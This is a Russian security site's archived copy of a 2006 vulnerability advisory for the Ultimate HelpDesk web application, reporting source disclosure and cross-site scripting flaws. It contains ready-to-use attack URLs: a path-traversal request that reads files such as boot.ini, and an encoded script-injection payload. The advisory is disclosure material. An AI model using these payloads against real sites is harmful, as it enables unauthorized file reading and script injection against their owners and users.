Информационная безопасность
[RU] switch to English


Дополнительная информация

  Ежедневная сводка ошибок в Web-приложениях (PHP, ASP, JSP, CGI, Perl )

  [Aria-Security Team] DuWare DuClassMate SQL Injection Vuln

  [Aria-Security Team] DuWare DuNews SQL Injection Vuln

  freeqboard <= 1.1 (qb_path) Remote File Include Vulnerability

  Aspee Ziyareti Defteri (tr) Sql injection Vuln.

From:ajannhwt_(at)_hotmail.com <ajannhwt_(at)_hotmail.com>
Date:2 декабря 2006 г.
Subject:Ultimate HelpDesk All Version (Source/XSS) Vulnerabilities

*******************************************************************************
# Title   :  Ultimate HelpDesk All Version (Source/XSS) Vulnerabilities
# Author  :   ajann
# Contact :   :(

*******************************************************************************

Login Before Vulnerabilities.:


[[SOURCE]]]------------------------------------------------------

http://[target]/[path]//getfile.asp?filename=[SQL]

Example:

//getfile.asp?filename=../index.asp
//getfile.asp?filename=../../../boot.ini

[[/SOURCE]]]


[[XSS]]]---------------------------------------------------------

http://[target]/[path]//index.
asp?status=open&page=tickets&title=39&searchparam=&u_input=&u
_field=&intpage=2&keyword=[XSS]

Example:

//index.
asp?status=open&page=tickets&title=39&searchparam=&u_input=&u
_field=&intpage=2&keyword=%22%3E%3Cscript%3Ealert%28%
27ajann%27%29%3B%3C%2Fscript%3E

[[/XSS]]]

""""""""""""""
"""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2006-12-01]

О сайте | Условия использования
© SecurityVulns, 3APA3A, Владимир Дубровин
Нижний Новгород